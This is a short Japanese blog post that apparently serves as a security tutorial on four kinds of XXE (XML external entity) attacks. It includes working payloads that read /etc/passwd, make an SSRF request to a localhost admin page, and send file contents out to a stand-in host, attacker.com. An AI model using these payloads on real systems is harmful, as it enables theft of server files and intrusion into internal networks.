Shikata Ga Nai

Private? There is no such things.

XXE(XML外部実体インジェクション)攻撃の種類

Hello there, ('ω')ノ

🧨 XXE攻撃の代表的なパターン

XXE脆弱性を利用した攻撃には、主に以下の4つのパターンがあります。


① ファイル読み取り型 XXE(ファイルインクルージョン)

目的:サーバー内部のファイルを読み取る

  • 攻撃者は外部エンティティを使用して、/etc/passwd.env などのファイルを読み込みます。
  • 読み取った内容は、XMLのレスポンス内に含まれてクライアントに返されます。
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>

② SSRF型 XXE(Server-Side Request Forgery)

目的:サーバーを通して内部システムにアクセスさせる

  • エンティティに内部URLを指定することで、アプリケーションサーバーに他のサーバーやポートへリクエストを送信させることができます。
  • 内部APIやメタデータサーバー(例:AWSの169.254.169.254)にアクセス可能。
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://localhost:8080/admin"> ]>
<root>&xxe;</root>

③ Blind XXE(外部送信によるデータ漏洩)

目的:アプリケーションの応答が見えなくても、情報を外部に漏らす

  • XXEの結果が直接レスポンスに含まれない「ブラインド」なケース。
  • 代わりに、攻撃者が管理する外部サーバーへデータを送信させる(Out-of-Band Exfiltration)。
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
  <!ENTITY send SYSTEM "http://attacker.com/?data=&xxe;">
]>
<root>&send;</root>

④ Blind XXE(エラーメッセージ型)

目的:XMLパーサーのエラーから機密情報を取得

  • XXEで意図的にパースエラーを引き起こし、スタックトレースやエラーメッセージ内に機密情報を漏洩させる方法。
  • 例として、ファイルが見つからない場合のエラーログにファイルパスが表示される等。

✅ まとめ:攻撃タイプ別の目的

攻撃タイプ 目的 可視性
ファイル読み取り 内部ファイルの内容取得 表示される
SSRF 内部システムにリクエスト送信 表示される or ブラインド
Blind XXE(外部送信) データを外部サーバーに送信 ブラインド
Blind XXE(エラー誘発) エラーから機密情報を推測 ブラインド(エラーメッセージあり)

💡 XXEは「XMLをどう処理するか」という初歩的な設定ミスから始まり、情報漏洩、ネットワーク内偵察、サーバー乗っ取りまで発展する深刻な脆弱性です。

Best regards, (^^ゞ